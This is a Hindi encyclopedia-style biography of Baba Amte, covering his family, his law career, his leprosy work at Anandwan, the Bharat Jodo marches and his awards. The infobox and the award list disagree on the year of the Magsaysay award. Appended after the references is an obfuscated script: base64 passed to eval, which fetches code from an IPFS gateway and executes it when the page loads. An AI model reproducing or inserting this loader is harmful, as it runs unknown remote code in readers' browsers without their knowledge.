बाबा आम्टे
| |
पूरा नाम | बाबा आम्टे |
जन्म | 24 दिसम्बर, 1914 |
जन्म भूमि | महाराष्ट्र |
मृत्यु | 9 फ़रवरी, 2008 |
मृत्यु स्थान | महाराष्ट्र |
नागरिकता | भारतीय |
प्रसिद्धि | सामाजिक कार्यकर्ता |
विद्यालय | 'क्रिस्चियन मिशन स्कूल', नागपुर; 'नागपुर विश्वविद्यालय' |
शिक्षा | एम.ए., एल.एल.बी. |
पुरस्कार-उपाधि | 'पद्मश्री' (1971), 'राष्ट्रीय भूषण' (1978), 'पद्म विभूषण' (1986), 'मैग्सेसे पुरस्कार' (1988), 'बिड़ला पुरस्कार', 'महात्मा गांधी पुरस्कार'। |
विशेष योगदान | कुष्ठ रोगियों के लिए बाबा आम्टे ने सर्वप्रथम ग्यारह साप्ताहिक औषधालय स्थापित किए, फिर 'आनंदवन' नामक संस्था की स्थापना की। |
आंदोलन | बाबाजी ने 1985 में कश्मीर से कन्याकुमारी तक और 1988 में असम से गुजरात तक दो बार 'भारत जोड़ो आंदोलन' चलाया। |
अन्य जानकारी | बाबा आम्टे को बचपन में माता-पिता 'बाबा' पुकारते थे। इसलिए बाद में भी वे बाबा आम्टे के नाम से प्रसिद्ध हुए। |
बाबा आम्टे पूरा नाम 'मुरलीधर देवीदास आम्टे' (अंग्रेज़ी: Baba Amte, जन्म: 24 दिसंबर[1] 1914 महाराष्ट्र - मृत्यु: 9 फरवरी 2008 महाराष्ट्र) विख्यात सामाजिक कार्यकर्ता, मुख्यत: कुष्ठरोगियों की सेवा के लिए विख्यात ‘परोपकार विनाश करता है, कार्य निर्माण करता है’ के मूल मंत्र से उन्होंने हजारों कुष्ठरोगियों को गरिमा और साथ ही बेघर तथा विस्थापित आदिवासियों को आशा की किरण दिखाई दी।
जन्म एवं परिवार
विख्यात समाजसेवक बाबा आम्टे का जन्म 24 दिसंबर, 1914 ई. को वर्धा महाराष्ट्र के निकट एक ब्राह्मण जागीरदार परिवार में हुआ था। पिता देवीदास हरबाजी आम्टे शासकीय सेवा में थे। उनका बचपन बहुत ही ठाट-बाट से बीता। वे सोने के पालने में सोते थे और चांदी की चम्मच से उन्हें खाना खिलाया जाता था। बाबा आम्टे को बचपन में माता-पिता 'बाबा' पुकारते थे। इसलिए बाद में भी वे बाबा आम्टे के नाम से प्रसिद्ध हुए। बाबा आम्टे के मन में सबके प्रति समान व्यवहार और सेवा की भावना बचपन से ही थी। 9 वर्ष के थे तभी एक अंधे भिखारी को देखकर इतने द्रवित हुए कि उन्होंने ढेरों रुपए उसकी झोली में डाल दिए थे।
- विवाह
बाबा आम्टे का विवाह भी एक सेवा-धर्मी युवती साधना से विचित्र परिस्थितियों में हुआ। बाबा आम्टे को दो संतान प्राप्त हुई प्रकाश आम्टे, एवं विकास आम्टे।
- शिक्षा
बाबा आम्टे ने एम.ए., एल.एल.बी. तक की पढ़ाई की। उनकी पढ़ाई क्रिस्चियन मिशन स्कूल नागपुर में हुई और फिर उन्होंने नागपुर विश्वविद्यालय में क़ानून की पढ़ाई की और कई दिनों तक वर्धा में वकालत करने लगे। परंतु जब उनका ध्यान अपने तालुके के लोगों की ग़रीबी की ओर गया तो वकालत छोड़कर वे अंत्यजों और भंगियों की सेवा में लग गए।
समाज सुधार
1942 में भारत छोड़ो आंदोलन के दौरान जेल गए। नेताओं के मुकदमें लड़ने के लिए उन्होंने अपने साथी वकीलों को संगठित किया और इन्ही प्रयासों के कारण ब्रिटिश सरकार ने उन्हे गिरफ्तार कर लिया, लेकिन वरोरा में कीड़ों से भरे कुष्ठ रोगी को देखकर उनके जीवन की धारा बदल गई। उन्होंने अपना वकालती चोगा और सुख-सुविधा वाली जीवन शैली त्यागकर कुष्ठरोगियों और दलितों के बीच उनके कल्याण के लिए काम करना प्रारंभ कर दिया।
आनंद वन की स्थापना
बाबा आम्टे ने कुष्ठ रोग से पीड़ित लोगों की सेवा और सहायता का काम अपने हाथ में लिया। कुष्ठ रोगियों के लिए बाबा आम्टे ने सर्वप्रथम ग्यारह साप्ताहिक औषधालय स्थापित किए, फिर 'आनंदवन' नामक संस्था की स्थापना की। उन्होंने कुष्ठ की चिकित्सा का प्रशिक्षण तो लिया ही, अपने शरीर पर कुष्ठ निरोधी औषधियों का परीक्षण भी किया। 1951 में 'आनंदवन' की रजिस्ट्री हुई। सरकार से इस कार्य के विस्तार के लिए भूमि मिली। बाबा आम्टे के प्रयत्न से दो अस्पताल बने, विश्वविद्यालय स्थापित हुआ, एक अनाथालय खोला गया, नेत्रहीनों के लिए स्कूल बना और तकनीकी शिक्षा की भी व्यवस्था हुई। 'आनंदवन' आश्रम अब पूरी तरह आत्मनिर्भर है और लगभग पाँच हज़ार व्यक्ति उससे आजीविका चला रहे हैं।
भारत जोड़ो आंदोलन
बाबा आम्टे ने राष्ट्रीय एकता को बढ़ावा देने के लिए 1985 में कश्मीर से कन्याकुमारी तक और 1988 में असम से गुजरात तक दो बार भारत जोड़ो आंदोलन चलाया। नर्मदा घाटी में सरदार सरोवर बांध निर्माण और इसके फलस्वरूप हजारों आदिवासियों के विस्थापन का विरोध करने के लिए 1989 में बाबा आम्टे ने बांध बनने से डूब जाने वाले क्षेत्र में निजी बल (आंतरिक बल) नामक एक छोटा आश्रम बनाया।
पुरस्कार
बाबा आम्टे को उनके इन महान् कामों के लिए बहुत सारे पुरस्कारों से भी सम्मानित किया गया। उन्हें मैगसेसे अवॉर्ड, पद्मश्री, पद्मविभूषण, बिड़ला पुरस्कार, मानवीय हक पुरस्कार, महात्मा गांधी पुरस्कार के साथ-साथ और भी कई पुरस्कारों से नवाजा गया।
- 1971 में भारत सरकार द्वारा पद्मश्री
- 1978 में राष्ट्रीय भूषण
- 1983 में अमेरिका का डेमियन डट्टन पुरस्कार
- 1985 में मैग्सेसे पुरस्कार
- 1986 में पद्म विभूषण
- 1988 में घनश्यामदास बिड़ला अंतरराष्ट्रीय सम्मान
- 1988 में संयुक्त राष्ट्र मानवाधिकार सम्मान
- 1990 में अमेरिकी टेम्पलटन पुरस्कार
- 1991 में ग्लोबल 500 संयुक्त राष्ट्र सम्मान
- 1992 में राइट लाइवलीहुड सम्मान
- 1999 में गाँधी शांति पुरस्कार
- 2004 में महाराष्ट्र भूषण सम्मान[2]
निधन
भारत के विख्यात समाजसेवक बाबा आम्टे का निधन 9 फरवरी, 2008 को 94 साल की आयु में चन्द्रपुर ज़िले के वड़ोरा स्थित अपने निवास में निधन हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 524।
- ↑ Britannica India
- ↑ बाबा आमटे (हिंदी)। । अभिगमन तिथि: 6 जनवरी, 2014।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>